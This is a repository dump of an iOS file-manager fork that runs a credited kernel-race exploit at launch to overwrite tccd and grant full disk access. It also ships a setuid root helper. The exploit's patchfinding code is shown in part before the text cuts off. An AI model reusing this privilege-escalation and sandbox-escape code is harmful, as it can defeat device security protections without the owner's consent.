Repository: haxi0/SantanderEscaped Branch: main Commit: f89f275d15ea Files: 80 Total size: 511.7 KB Directory structure: gitextract_qv0ndjc7/ ├── .github/ │ └── workflows/ │ └── build.yml ├── .gitignore ├── LICENSE.md ├── Makefile ├── README.md ├── RootHelper/ │ ├── Commands.swift │ ├── Extensions.swift │ └── main.swift ├── Santander/ │ ├── AppDelegate.swift │ ├── Assets.xcassets/ │ │ ├── AccentColor.colorset/ │ │ │ └── Contents.json │ │ ├── AppIcon.appiconset/ │ │ │ └── Contents.json │ │ └── Contents.json │ ├── Base.lproj/ │ │ └── LaunchScreen.storyboard │ ├── Info.plist │ ├── Other/ │ │ ├── Alert++.swift │ │ ├── BaseLayoutAnchorSupporting.swift │ │ ├── DiffableDataSourceItem.swift │ │ ├── DirectoryMonitor.swift │ │ ├── Exploit/ │ │ │ ├── grant_full_disk_access.h │ │ │ ├── grant_full_disk_access.m │ │ │ ├── helpers.h │ │ │ ├── helpers.m │ │ │ ├── vm_unaligned_copy_switch_race.c │ │ │ └── vm_unaligned_copy_switch_race.h │ │ ├── Extensions.swift │ │ ├── GoToItem.swift │ │ ├── ImageMetadata.swift │ │ ├── LoadingValueState.swift │ │ ├── Path.swift │ │ ├── PathMetadata.swift │ │ ├── PathTransitioning.swift │ │ ├── PathType.swift │ │ ├── PathsSortMethods.swift │ │ ├── Permissions.swift │ │ ├── Preferences/ │ │ │ ├── Storage.swift │ │ │ └── UserPreferences.swift │ │ ├── RootHelper.swift │ │ └── SantanderHeader.h │ ├── SceneDelegate.swift │ └── UI/ │ ├── AppInfoViewController.swift │ ├── Editors/ │ │ ├── AssetCatalog/ │ │ │ ├── AssetCatalogCell.swift │ │ │ ├── AssetCatalogDetailsView.swift │ │ │ ├── AssetCatalogGridPreviewCell.swift │ │ │ ├── AssetCatalogRenditionViewController.swift │ │ │ ├── AssetCatalogSectionHeader.swift │ │ │ ├── AssetCatalogSidebarListView.swift │ │ │ └── AssetCatalogViewController.swift │ │ ├── Audio/ │ │ │ ├── AudioPlayerToolbarView.swift │ │ │ └── AudioPlayerViewController.swift │ │ ├── BinaryExecutionViewController.swift │ │ ├── FileEditorType.swift │ │ ├── Font/ │ │ │ ├── FontInformationViewController.swift │ │ │ └── FontViewerController.swift │ │ ├── Image/ │ │ │ ├── ImageLocationEditorViewController.swift │ │ │ ├── ImageMetadataViewController.swift │ │ │ └── ImageViewerController.swift │ │ ├── Serialized/ │ │ │ ├── SerializedArrayViewController.swift │ │ │ ├── SerializedDocumentViewController.swift │ │ │ ├── SerializedItemType.swift │ │ │ └── SerializedItemViewController.swift │ │ └── TextEditor/ │ │ ├── KeyboardSearchView.swift │ │ ├── KeyboardToolsView.swift │ │ ├── TextEditorThemeSettingsViewController.swift │ │ ├── TextFileEditorViewController.swift │ │ └── Themes.swift │ ├── FilePreviewDataSource.swift │ ├── Path/ │ │ ├── DragAndDrop.swift │ │ ├── PathGroupOwnerViewController.swift │ │ ├── PathInformationTableViewController.swift │ │ ├── PathListViewController.swift │ │ ├── PathOperationViewController.swift │ │ ├── PathPermissionsViewController.swift │ │ ├── PathSidebarListViewController.swift │ │ ├── Search.swift │ │ └── ToolbarItems.swift │ ├── SettingsTableViewController.swift │ └── TypeSelectionViewController.swift ├── Santander.xcodeproj/ │ └── project.pbxproj ├── entitlements-TS.plist └── entitlements.plist ================================================ FILE CONTENTS ================================================ ================================================ FILE: .github/workflows/build.yml ================================================ name: CI on: push: branches: - main - serena/root-helper-proper paths-ignore: - '**/*.md' - 'README.md' - '.gitignore' pull_request: branches: - main paths-ignore: - '**/*.md' - 'README.md' - '.gitignore' workflow_dispatch: jobs: build: name: Build runs-on: macos-12 steps: - name: Checkout uses: actions/checkout@v3 - name: Set up Procursus uses: beerpiss/procursus-action@v2 with: packages: ldid cache: true cache-path: ~/__cache - name: Select Xcode version (14.0) run: | sudo xcode-select --switch /Applications/Xcode_14.0.app - name: Build IPA run: | make - name: Permasign IPA uses: permasigner/action@v1.1.0 with: input: "${{ github.workspace }}/build/Santander.ipa" output: "${{ github.workspace }}/build/Santander.deb" entitlements: "${{ github.workspace }}/entitlements-TS.plist" args: "--author Serena" - name: Upload IPA uses: actions/upload-artifact@v3.1.0 with: name: SantanderJailed path: ${{ github.workspace }}/build/SantanderJailed.ipa - name: Upload IPA for TrollStore uses: actions/upload-artifact@v3.1.0 with: name: SantanderTrollStore path: ${{ github.workspace }}/build/SantanderTrollStore.tipa - name: Upload Permasigned deb uses: actions/upload-artifact@v3.1.0 with: name: SantanderJailbroken path: ${{ github.workspace }}/build/Santander.deb ================================================ FILE: .gitignore ================================================ Santander.xcodeproj/xcuserdata/* Santander.xcodeproj/project.xcworkspace/xcshareddata/swiftpm/Package.resolved Santander.xcodeproj/project.xcworkspace/xcuserdata/* .DS_Store build/ ================================================ FILE: LICENSE.md ================================================ MIT License Copyright (c) 2022 Serena Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: Makefile ================================================ # Shamelessly stolen from https://github.com/elihwyma/Pogo/blob/main/Makefile TARGET_CODESIGN = $(shell which ldid) APP_TMP = $(TMPDIR)/santander APP_STAGE_DIR = $(APP_TMP)/stage APP_APP_DIR = $(APP_TMP)/Build/Products/Release-iphoneos/Santander.app APP_HELPER_PATH = $(APP_TMP)/Build/Products/Release-iphoneos/RootHelper package: @set -o pipefail; \ xcodebuild -quiet -jobs $(shell sysctl -n hw.ncpu) -project 'Santander.xcodeproj' -scheme Santander -configuration Release -arch arm64 -sdk iphoneos -derivedDataPath $(APP_TMP) \ CODE_SIGNING_ALLOWED=NO DSTROOT=$(APP_TMP)/install ALWAYS_EMBED_SWIFT_STANDARD_LIBRARIES=NO @set -o pipefail; \ xcodebuild -quiet -jobs $(shell sysctl -n hw.ncpu) -project 'Santander.xcodeproj' -scheme RootHelper -configuration Release -arch arm64 -sdk iphoneos -derivedDataPath $(APP_TMP) \ CODE_SIGNING_ALLOWED=NO DSTROOT=$(APP_TMP)/install ALWAYS_EMBED_SWIFT_STANDARD_LIBRARIES=NO @rm -rf Payload @rm -rf $(APP_STAGE_DIR)/ @mkdir -p $(APP_STAGE_DIR)/Payload $(APP_STAGE_DIR)/JailedPayload $(APP_STAGE_DIR)/TSPayload @mv $(APP_APP_DIR) $(APP_STAGE_DIR)/Payload/Santander.app @cp -r $(APP_STAGE_DIR)/Payload/Santander.app $(APP_STAGE_DIR)/JailedPayload/SantanderJailed.app @mv $(APP_HELPER_PATH) $(APP_STAGE_DIR)/Payload/Santander.app/RootHelper @$(TARGET_CODESIGN) -Sentitlements.plist $(APP_STAGE_DIR)/Payload/Santander.app/ @$(TARGET_CODESIGN) -Sentitlements.plist $(APP_STAGE_DIR)/Payload/Santander.app/RootHelper @rm -rf $(APP_STAGE_DIR)/Payload/Santander.app/_CodeSignature @cp -r $(APP_STAGE_DIR)/Payload/Santander.app $(APP_STAGE_DIR)/TSPayload/SantanderTS.app @$(TARGET_CODESIGN) -Sentitlements-TS.plist $(APP_STAGE_DIR)/TSPayload/SantanderTS.app/ @$(TARGET_CODESIGN) -Sentitlements-TS.plist $(APP_STAGE_DIR)/TSPayload/SantanderTS.app/RootHelper chmod 6755 $(APP_STAGE_DIR)/Payload/Santander.app/RootHelper chmod 6755 $(APP_STAGE_DIR)/TSPayload/SantanderTS.app/RootHelper @ln -sf $(APP_STAGE_DIR)/Payload Payload @ln -sf $(APP_STAGE_DIR)/JailedPayload JailedPayload @ln -sf $(APP_STAGE_DIR)/TSPayload TSPayload @rm -rf build @mkdir -p build @zip -r9 build/Santander.ipa Payload @rm -rf Payload @mv TSPayload Payload @zip -r9 build/SantanderTrollStore.tipa Payload @rm -rf Payload @mv JailedPayload Payload @zip -r9 build/SantanderJailed.ipa Payload @rm -rf Payload ================================================ FILE: README.md ================================================ # Santander A new, enhanced File Manager for iOS devices with MDC support ![Screenshot 2022-08-04 at 3 26 56 PM](https://user-images.githubusercontent.com/48022799/182846725-84790bea-e9ba-45a3-a2c2-ee6f2f7fdd4e.png) Santander aims to enhance the experience of a file manager on an iOS device, using modern and familiar UI alongside new APIs. # Credits https://gist.github.com/zhuowei/bc7a90bdc520556fda84d33e0583eb3e https://github.com/ginsudev/WDBFontOverwrite/blob/main/WDBFontOverwrite/vm_unaligned_copy_switch_race.c - zhuowei https://bugs.chromium.org/p/project-zero/issues/detail?id=2361 - Ian Beer https://gist.github.com/Avangelista/bf2fa5319f8920fcc09ea061ecb56cf3 - Avangelista https://github.com/SerenaKit/Santander - Serena :3 # Notice The project is still in beta, and there still quite a lot of bugs to fix & enhancements to make. ================================================ FILE: RootHelper/Commands.swift ================================================ // // Commands.swift // RootHelper // // Created by Serena on 10/11/2022 // import Foundation import ArgumentParser import CompressionWrapper import os import AssetCatalogWrapper struct Delete: ParsableCommand { @Argument(help: "The paths to delete.") var paths: [URL] func run() throws { for path in paths { try FileManager.default.removeItem(at: path) } } } struct SetOwnerOrGroup: ParsableCommand { @Argument(help: "The path to set the owner and/or group for.") var path: URL @Option(help: "The name of the group to set.") var groupName: String? @Option(help: "The name of the owner to set for this path.") var ownerName: String? func run() throws { if let groupName = groupName { try FileManager.default.setAttributes([.groupOwnerAccountName: groupName], ofItemAtPath: path.path) } if let ownerName = ownerName { try FileManager.default.setAttributes([.ownerAccountName: ownerName], ofItemAtPath: path.path) } } } struct Create: ParsableCommand { @Option(help: "The directories to create.") var directories: [URL] = [] @Option(help: "The files to create") var files: [URL] = [] func run() throws { for dir in directories { try FileManager.default.createDirectory(at: dir, withIntermediateDirectories: true) } for file in files { // mode a: create if doesn't exist let fPtr = try file.withUnsafeFileSystemRepresentation { cPathPointer in guard let cPathPointer, let fPtr = fopen(cPathPointer, "a") else { throw StringError("Failed to create file \(file): \(String(cString: strerror(errno)))") } return fPtr } fclose(fPtr) } } } struct Move: ParsableCommand { @Argument(help: "The paths to move.") var paths: [URL] @Option(help: "The destination directory to move the paths into") var destination: URL func run() throws { for path in paths { try FileManager.default.moveItem(at: path, to: destination.appendingPathComponent(path.lastPathComponent)) } } } struct Copy: ParsableCommand { @Argument(help: "The paths to copy") var paths: [URL] @Option(help: "The destination to copy the paths to.") var destination: URL func run() throws { for path in paths { try FileManager.default.copyItem(at: path, to: destination.appendingPathComponent(path.lastPathComponent)) } } } struct Rename: ParsableCommand { @Argument(help: "The path to rename.") var path: URL @Argument(help: "The new path.") var destination: URL func run() throws { try FileManager.default.moveItem(at: path, to: destination) } } struct Link: ParsableCommand { @Argument(help: "The paths to link.") var paths: [URL] @Option(help: "The destination") var destination: URL func run() throws { for path in paths { try FileManager.default.createSymbolicLink(at: destination.appendingPathComponent(path.lastPathComponent), withDestinationURL: path) } } } struct SetPermissions: ParsableCommand { @Argument(help: "The path to set the permisions for.") var path: URL @Argument(help: "The permissions to set.") var permissions: Int func run() throws { try FileManager.default.setAttributes([.posixPermissions: permissions], ofItemAtPath: path.path) } } struct WriteData: ParsableCommand { @Argument(help: "The path to write the data into.") var path: URL func run() throws { NSLog("availableData: \(FileHandle.standardInput.availableData)") } } struct WriteString: ParsableCommand { @Argument(help: "The string to write.") var string: String @Option(help: "The path to write the string to.") var path: URL func run() throws { try string.write(to: path, atomically: true, encoding: .utf8) } } struct Compress: ParsableCommand { @Option(help: "The paths to compress") var paths: [URL] @Option(help: "The destination of the compressed paths") var destination: URL @Option(help: "The compression format to use.") var format: Compression.FormatType = .zip func run() throws { try Compression.shared.compress(paths: paths, outputPath: destination, format: format) } } struct Decompress: ParsableCommand { @Argument(help: "The path to decompress.") var path: URL @Option(help: "The destination path.") var destination: URL func run() throws { try Compression.shared.extract(path: path, to: destination) } } struct ExtractCatalog: ParsableCommand { @Argument(help: "The path of the asset catalog file to extract.") var path: URL @Option(help: "The destination") var destination: URL func run() throws { let (_, renditions) = try AssetCatalogWrapper.shared.renditions(forCarArchive: path) let codable = renditions.flatMap(\.renditions).toCodable() try FileManager.default.createDirectory(at: destination, withIntermediateDirectories: true) var failedItems: [String: String] = [:] for rend in codable { let newURL = destination.appendingPathComponent(rend.renditionName) if let data = rend.itemData { do { try data.write(to: newURL) } catch { failedItems[rend.renditionName] = "Unable to write item data to file: \(error.localizedDescription)" } } } if !failedItems.isEmpty { var message: String = "" for (item, error) in failedItems { message.append("\(item): \(error)") } throw StringError(message.trimmingCharacters(in: .whitespacesAndNewlines)) } } } struct GetContents: ParsableCommand { @Argument(help: "The path to get the contents of.") var path: URL func run() throws { let contents = try FileManager.default.contentsOfDirectory(at: path, includingPropertiesForKeys: nil) fputs(contents.map(\.path).joined(separator: " "), stdout) } } ================================================ FILE: RootHelper/Extensions.swift ================================================ // // Extensions.swift // RootHelper // // Created by Serena on 10/11/2022 // import Foundation import ArgumentParser import CompressionWrapper extension URL: ExpressibleByArgument { public init?(argument: String) { self.init(fileURLWithPath: argument) } } // not an extension, but useful struct StringError: LocalizedError, CustomStringConvertible { let description: String init(_ description: String) { self.description = description } var errorDescription: String? { description } } extension Compression.FormatType: ExpressibleByArgument { public init?(argument: String) { switch argument { case "zip": self = .zip case "tar": self = .tar default: return nil } } } ================================================ FILE: RootHelper/main.swift ================================================ // // main.swift // RootHelper // // Created by Serena on 17/10/2022 // import ArgumentParser import Foundation import NSTask // proc_pidpath // get the parent caller, and make sure it's Santander, otherwise, gtfo var buffer = [CChar](repeating: 0, count: 1024) proc_pidpath(getppid(), &buffer, 1024) let path = URL(fileURLWithPath: String(cString: buffer)) // We don't verify the whole path as /Applications/Santander.app/Santander, if we did that // then this root helper would have to be modified on forks like the TrollStore one, // where the .app name & path are different // instead, we make sure that the binary name (which should ALWAYS be 'Santander') is correct. guard path.lastPathComponent == "Santander" else { fatalError("Incorrect parent calling, goodbye!") } //NSLog("FileHandle.standardInput.availableData.count: \(FileHandle.standardInput.availableData.count)") setuid(0) setgid(0) guard getuid() == 0 else { fputs("getuid() returned a uid that wasn't 0, in other words, we werent able to get root.", stderr) exit(-1) } struct Program: ParsableCommand { static let configuration: CommandConfiguration = CommandConfiguration( subcommands: [ Create.self, Delete.self, Move.self, Copy.self, Link.self, Rename.self, SetOwnerOrGroup.self, SetPermissions.self, Compress.self, Decompress.self, WriteData.self, WriteString.self, GetContents.self ] ) } do { var command = try Program.parseAsRoot(nil) try command.run() } catch { fputs(error.localizedDescription, stderr) exit(-1) } ================================================ FILE: Santander/AppDelegate.swift ================================================ // // AppDelegate.swift // Santander // // Created by Serena on 21/06/2022 // import UIKit @main class AppDelegate: UIResponder, UIApplicationDelegate { func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -> Bool { // Override point for customization after application launch. UIApplication.shared.alert(title: "pwning", body: "wait", withButton: false) grant_full_disk_access() { error in UIApplication.shared.dismissAlert(animated: false) UIApplication.shared.alert(title: "pwned", body: error?.localizedDescription ?? "no errors while pwning") } if UserPreferences.displayRecentlyBookmarked { application.setShortcutItems(intoURLs: UserPreferences.bookmarks) } else { application.shortcutItems = [] } return true } // MARK: UISceneSession Lifecycle func application(_ application: UIApplication, configurationForConnecting connectingSceneSession: UISceneSession, options: UIScene.ConnectionOptions) -> UISceneConfiguration { // Called when a new scene session is being created. // Use this method to select a configuration to create the new scene with. return UISceneConfiguration(name: "Default Configuration", sessionRole: connectingSceneSession.role) } func application(_ application: UIApplication, didDiscardSceneSessions sceneSessions: Set) { // Called when the user discards a scene session. // If any sessions were discarded while the application was not running, this will be called shortly after application:didFinishLaunchingWithOptions. // Use this method to release any resources that were specific to the discarded scenes, as they will not return. } } ================================================ FILE: Santander/Assets.xcassets/AccentColor.colorset/Contents.json ================================================ { "colors" : [ { "idiom" : "universal" } ], "info" : { "author" : "xcode", "version" : 1 } } ================================================ FILE: Santander/Assets.xcassets/AppIcon.appiconset/Contents.json ================================================ { "images" : [ { "filename" : "40.png", "idiom" : "iphone", "scale" : "2x", "size" : "20x20" }, { "filename" : "60.png", "idiom" : "iphone", "scale" : "3x", "size" : "20x20" }, { "filename" : "29.png", "idiom" : "iphone", "scale" : "1x", "size" : "29x29" }, { "filename" : "58.png", "idiom" : "iphone", "scale" : "2x", "size" : "29x29" }, { "filename" : "87.png", "idiom" : "iphone", "scale" : "3x", "size" : "29x29" }, { "filename" : "80.png", "idiom" : "iphone", "scale" : "2x", "size" : "40x40" }, { "filename" : "120.png", "idiom" : "iphone", "scale" : "3x", "size" : "40x40" }, { "filename" : "57.png", "idiom" : "iphone", "scale" : "1x", "size" : "57x57" }, { "filename" : "114.png", "idiom" : "iphone", "scale" : "2x", "size" : "57x57" }, { "filename" : "120.png", "idiom" : "iphone", "scale" : "2x", "size" : "60x60" }, { "filename" : "180.png", "idiom" : "iphone", "scale" : "3x", "size" : "60x60" }, { "filename" : "20.png", "idiom" : "ipad", "scale" : "1x", "size" : "20x20" }, { "filename" : "40.png", "idiom" : "ipad", "scale" : "2x", "size" : "20x20" }, { "filename" : "29.png", "idiom" : "ipad", "scale" : "1x", "size" : "29x29" }, { "filename" : "58.png", "idiom" : "ipad", "scale" : "2x", "size" : "29x29" }, { "filename" : "40.png", "idiom" : "ipad", "scale" : "1x", "size" : "40x40" }, { "filename" : "80.png", "idiom" : "ipad", "scale" : "2x", "size" : "40x40" }, { "filename" : "50.png", "idiom" : "ipad", "scale" : "1x", "size" : "50x50" }, { "filename" : "100.png", "idiom" : "ipad", "scale" : "2x", "size" : "50x50" }, { "filename" : "72.png", "idiom" : "ipad", "scale" : "1x", "size" : "72x72" }, { "filename" : "144.png", "idiom" : "ipad", "scale" : "2x", "size" : "72x72" }, { "filename" : "76.png", "idiom" : "ipad", "scale" : "1x", "size" : "76x76" }, { "filename" : "152.png", "idiom" : "ipad", "scale" : "2x", "size" : "76x76" }, { "filename" : "167.png", "idiom" : "ipad", "scale" : "2x", "size" : "83.5x83.5" }, { "filename" : "1024.png", "idiom" : "ios-marketing", "scale" : "1x", "size" : "1024x1024" }, { "filename" : "16.png", "idiom" : "mac", "scale" : "1x", "size" : "16x16" }, { "filename" : "32.png", "idiom" : "mac", "scale" : "2x", "size" : "16x16" }, { "filename" : "32.png", "idiom" : "mac", "scale" : "1x", "size" : "32x32" }, { "filename" : "64.png", "idiom" : "mac", "scale" : "2x", "size" : "32x32" }, { "filename" : "128.png", "idiom" : "mac", "scale" : "1x", "size" : "128x128" }, { "filename" : "256.png", "idiom" : "mac", "scale" : "2x", "size" : "128x128" }, { "filename" : "256.png", "idiom" : "mac", "scale" : "1x", "size" : "256x256" }, { "filename" : "512.png", "idiom" : "mac", "scale" : "2x", "size" : "256x256" }, { "filename" : "512.png", "idiom" : "mac", "scale" : "1x", "size" : "512x512" }, { "filename" : "1024.png", "idiom" : "mac", "scale" : "2x", "size" : "512x512" }, { "filename" : "48.png", "idiom" : "watch", "role" : "notificationCenter", "scale" : "2x", "size" : "24x24", "subtype" : "38mm" }, { "filename" : "55.png", "idiom" : "watch", "role" : "notificationCenter", "scale" : "2x", "size" : "27.5x27.5", "subtype" : "42mm" }, { "filename" : "58.png", "idiom" : "watch", "role" : "companionSettings", "scale" : "2x", "size" : "29x29" }, { "filename" : "87.png", "idiom" : "watch", "role" : "companionSettings", "scale" : "3x", "size" : "29x29" }, { "idiom" : "watch", "role" : "notificationCenter", "scale" : "2x", "size" : "33x33", "subtype" : "45mm" }, { "filename" : "80.png", "idiom" : "watch", "role" : "appLauncher", "scale" : "2x", "size" : "40x40", "subtype" : "38mm" }, { "filename" : "88.png", "idiom" : "watch", "role" : "appLauncher", "scale" : "2x", "size" : "44x44", "subtype" : "40mm" }, { "idiom" : "watch", "role" : "appLauncher", "scale" : "2x", "size" : "46x46", "subtype" : "41mm" }, { "filename" : "100.png", "idiom" : "watch", "role" : "appLauncher", "scale" : "2x", "size" : "50x50", "subtype" : "44mm" }, { "idiom" : "watch", "role" : "appLauncher", "scale" : "2x", "size" : "51x51", "subtype" : "45mm" }, { "idiom" : "watch", "role" : "appLauncher", "scale" : "2x", "size" : "54x54", "subtype" : "49mm" }, { "filename" : "172.png", "idiom" : "watch", "role" : "quickLook", "scale" : "2x", "size" : "86x86", "subtype" : "38mm" }, { "filename" : "196.png", "idiom" : "watch", "role" : "quickLook", "scale" : "2x", "size" : "98x98", "subtype" : "42mm" }, { "filename" : "216.png", "idiom" : "watch", "role" : "quickLook", "scale" : "2x", "size" : "108x108", "subtype" : "44mm" }, { "idiom" : "watch", "role" : "quickLook", "scale" : "2x", "size" : "117x117", "subtype" : "45mm" }, { "idiom" : "watch", "role" : "quickLook", "scale" : "2x", "size" : "129x129", "subtype" : "49mm" }, { "filename" : "1024.png", "idiom" : "watch-marketing", "scale" : "1x", "size" : "1024x1024" } ], "info" : { "author" : "xcode", "version" : 1 } } ================================================ FILE: Santander/Assets.xcassets/Contents.json ================================================ { "info" : { "author" : "xcode", "version" : 1 } } ================================================ FILE: Santander/Base.lproj/LaunchScreen.storyboard ================================================ ================================================ FILE: Santander/Info.plist ================================================ CFBundleDocumentTypes CFBundleTypeName Content LSHandlerRank Default LSItemContentTypes public.item CFBundleURLTypes CFBundleTypeRole Editor CFBundleURLSchemes santander TSRootBinaries RootHelper UIApplicationSceneManifest UIApplicationSupportsMultipleScenes UISceneConfigurations UIWindowSceneSessionRoleApplication UISceneConfigurationName Default Configuration UISceneDelegateClassName $(PRODUCT_MODULE_NAME).SceneDelegate UIBackgroundModes audio UTImportedTypeDeclarations UTTypeDescription Represents any item which can be imported UTTypeIconFiles UTTypeIdentifier public.item UTTypeTagSpecification ================================================ FILE: Santander/Other/Alert++.swift ================================================ // // Alert++.swift // Derootifier // // Created by Анохин Юрий on 15.04.2023. // import UIKit var currentUIAlertController: UIAlertController? extension UIApplication { func dismissAlert(animated: Bool) { DispatchQueue.main.async { currentUIAlertController?.dismiss(animated: animated) } } func alert(title: String, body: String, animated: Bool = true, withButton: Bool = true) { DispatchQueue.main.async { currentUIAlertController = UIAlertController(title: title, message: body, preferredStyle: .alert) if withButton { currentUIAlertController?.addAction(.init(title: "OK", style: .cancel)) } self.present(alert: currentUIAlertController!) } } func confirmAlert(title: String, body: String, onOK: @escaping () -> (), noCancel: Bool) { DispatchQueue.main.async { currentUIAlertController = UIAlertController(title: title, message: body, preferredStyle: .alert) if !noCancel { currentUIAlertController?.addAction(.init(title: "Cancel", style: .cancel)) } currentUIAlertController?.addAction(.init(title: "OK", style: noCancel ? .cancel : .default, handler: { _ in onOK() })) self.present(alert: currentUIAlertController!) } } func change(title: String, body: String) { DispatchQueue.main.async { currentUIAlertController?.title = title currentUIAlertController?.message = body } } func present(alert: UIAlertController) { if var topController = self.windows[0].rootViewController { while let presentedViewController = topController.presentedViewController { topController = presentedViewController } topController.present(alert, animated: true) // topController should now be your topmost view controller } } } ================================================ FILE: Santander/Other/BaseLayoutAnchorSupporting.swift ================================================ // // BaseLayoutAnchorSupporting.swift // Santander // // Created by Serena on 08/10/2022 // import UIKit /// A Protocol defining the basic layout anchors of an object, such as UIView or a UILayoutGuide protocol BaseLayoutAnchorSupporting { var leadingAnchor: NSLayoutXAxisAnchor { get } var trailingAnchor: NSLayoutXAxisAnchor { get } var topAnchor: NSLayoutYAxisAnchor { get } var bottomAnchor: NSLayoutYAxisAnchor { get } } extension UILayoutGuide: BaseLayoutAnchorSupporting {} extension UIView: BaseLayoutAnchorSupporting { /// Activates constraints which completely cover the other view with the current view func constraintCompletely(to otherView: BaseLayoutAnchorSupporting) { NSLayoutConstraint.activate([ self.leadingAnchor.constraint(equalTo: otherView.leadingAnchor), self.trailingAnchor.constraint(equalTo: otherView.trailingAnchor), self.topAnchor.constraint(equalTo: otherView.topAnchor), self.bottomAnchor.constraint(equalTo: otherView.bottomAnchor) ]) } } ================================================ FILE: Santander/Other/DiffableDataSourceItem.swift ================================================ // // DiffableDataSourceItem.swift // Santander // // Created by Serena on 04/11/2022 // import UIKit /// Describes a generic item for diffable data sources, /// either being a section or an item enum DiffableDataSourceItem { case section(Section) case item(Item) static func fromItems(_ items: [Item]) -> [DiffableDataSourceItem] { return items.map { item in return .item(item) } } } extension DiffableDataSourceItem: Hashable {} ================================================ FILE: Santander/Other/DirectoryMonitor.swift ================================================ // // DirectoryMonitor.swift // Santander // // Created by Serena on 27/06/2022 // // Code originally written by Apple, modified for use by Serena A. import Foundation /// A protocol that allows delegates of `DirectoryMonitor` to respond to changes in a directory. protocol DirectoryMonitorDelegate: AnyObject { func directoryMonitorDidObserveChange(directoryMonitor: DirectoryMonitor) } class DirectoryMonitor { // MARK: Properties /// The `DirectoryMonitor`'s delegate who is responsible for responding to `DirectoryMonitor` updates. weak var delegate: DirectoryMonitorDelegate? /// A file descriptor for the monitored directory. var monitoredDirectoryFileDescriptor: CInt = -1 /// A dispatch queue used for sending file changes in the directory. let directoryMonitorQueue = DispatchQueue(label: "directorymonitor", attributes: .concurrent) /// A dispatch source to monitor a file descriptor created from the directory. var directoryMonitorSource: DispatchSource? /// URL for the directory being monitored. var path: Path init(path: Path) { self.path = path } // MARK: Monitoring func startMonitoring() { // Listen for changes to the directory (if we are not already). if directoryMonitorSource == nil && monitoredDirectoryFileDescriptor == -1 { // Open the directory referenced by URL for monitoring only. monitoredDirectoryFileDescriptor = open((path.url as NSURL).fileSystemRepresentation, O_EVTONLY) // We initialize directoryMonitorSource only if the path is readable // otherwise, we'd encounter a crash if path.isReadable { // Define a dispatch source monitoring the directory for additions, deletions, and renamings. directoryMonitorSource = DispatchSource.makeFileSystemObjectSource(fileDescriptor: monitoredDirectoryFileDescriptor, eventMask: .all, queue: directoryMonitorQueue) as? DispatchSource } // Define the block to call when a file change is detected. directoryMonitorSource?.setEventHandler { // Call out to the `DirectoryMonitorDelegate` so that it can react appropriately to the change. self.delegate?.directoryMonitorDidObserveChange(directoryMonitor: self) } // Define a cancel handler to ensure the directory is closed when the source is cancelled. directoryMonitorSource?.setCancelHandler { close(self.monitoredDirectoryFileDescriptor) self.monitoredDirectoryFileDescriptor = -1 self.directoryMonitorSource = nil } // Start monitoring the directory via the source. directoryMonitorSource?.resume() } } func stopMonitoring() { // Stop listening for changes to the directory, if the source has been created. if directoryMonitorSource != nil { // Stop monitoring the directory via the source. directoryMonitorSource?.cancel() } } } ================================================ FILE: Santander/Other/Exploit/grant_full_disk_access.h ================================================ // header for grant_full_disk_access created by haxi0 @import Foundation; #ifndef grant_full_disk_access_ #define grant_full_disk_access_h #include void grant_full_disk_access(void (^completion)(NSError* _Nullable)); #endif /* grant_full_disk_access_h */ ================================================ FILE: Santander/Other/Exploit/grant_full_disk_access.m ================================================ @import Darwin; @import Foundation; @import MachO; #import // you'll need helpers.m from Ian Beer's write_no_write and vm_unaligned_copy_switch_race.m from // WDBFontOverwrite // Also, set an NSAppleMusicUsageDescription in Info.plist (can be anything) // Please don't call this code on iOS 14 or below // (This temporarily overwrites tccd, and on iOS 14 and above changes do not revert on reboot) #import "helpers.h" #import "vm_unaligned_copy_switch_race.h" typedef NSObject* xpc_object_t; typedef xpc_object_t xpc_connection_t; typedef void (^xpc_handler_t)(xpc_object_t object); xpc_object_t xpc_dictionary_create(const char* const _Nonnull* keys, xpc_object_t _Nullable const* values, size_t count); xpc_connection_t xpc_connection_create_mach_service(const char* name, dispatch_queue_t targetq, uint64_t flags); void xpc_connection_set_event_handler(xpc_connection_t connection, xpc_handler_t handler); void xpc_connection_resume(xpc_connection_t connection); void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message, dispatch_queue_t replyq, xpc_handler_t handler); xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection, xpc_object_t message); xpc_object_t xpc_bool_create(bool value); xpc_object_t xpc_string_create(const char* string); xpc_object_t xpc_null_create(void); const char* xpc_dictionary_get_string(xpc_object_t xdict, const char* key); int64_t sandbox_extension_consume(const char* token); // MARK: - patchfind struct grant_full_disk_access_offsets { uint64_t offset_addr_s_com_apple_tcc_; uint64_t offset_padding_space_for_read_write_string; uint64_t offset_addr_s_kTCCServiceMediaLibrary; uint64_t offset_auth_got__sandbox_init; uint64_t offset_just_return_0; bool is_arm64e; }; static bool patchfind_sections(void* executable_map, struct segment_command_64** data_const_segment_out, struct symtab_command** symtab_out, struct dysymtab_command** dysymtab_out) { struct mach_header_64* executable_header = executable_map; struct load_command* load_command = executable_map + sizeof(struct mach_header_64); for (int load_command_index = 0; load_command_index < executable_header->ncmds; load_command_index++) { switch (load_command->cmd) { case LC_SEGMENT_64: { struct segment_command_64* segment = (struct segment_command_64*)load_command; if (strcmp(segment->segname, "__DATA_CONST") == 0) { *data_const_segment_out = segment; } break; } case LC_SYMTAB: { *symtab_out = (struct symtab_command*)load_command; break; } case LC_DYSYMTAB: { *dysymtab_out = (struct dysymtab_command*)load_command; break; } } load_command = ((void*)load_command) + load_command->cmdsize; } return true; } static uint64_t patchfind_get_padding(struct segment_command_64* segment) { struct section_64* section_array = ((void*)segment) + 